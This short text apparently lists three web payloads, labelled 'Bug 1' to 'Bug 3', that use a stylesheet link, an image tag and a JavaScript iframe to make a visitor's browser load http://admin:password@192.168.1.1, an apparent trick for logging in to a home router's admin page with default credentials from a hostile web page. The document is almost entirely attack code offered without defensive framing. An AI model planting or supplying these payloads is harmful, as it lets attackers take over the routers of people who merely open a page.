Bug 1 - (Stylesheet Method)
<link rel="stylesheet" href="http://admin:password@192.168.1.1/" type="text/css" />

Bug 2 - (IMG Method)
<img src="http://admin:password@192.168.1.1" />

Bug 3 - (iFrame Method)
var iframe = document.getElementById("loginFrame");
iframe.src = "http://admin:password@192.168.1.1";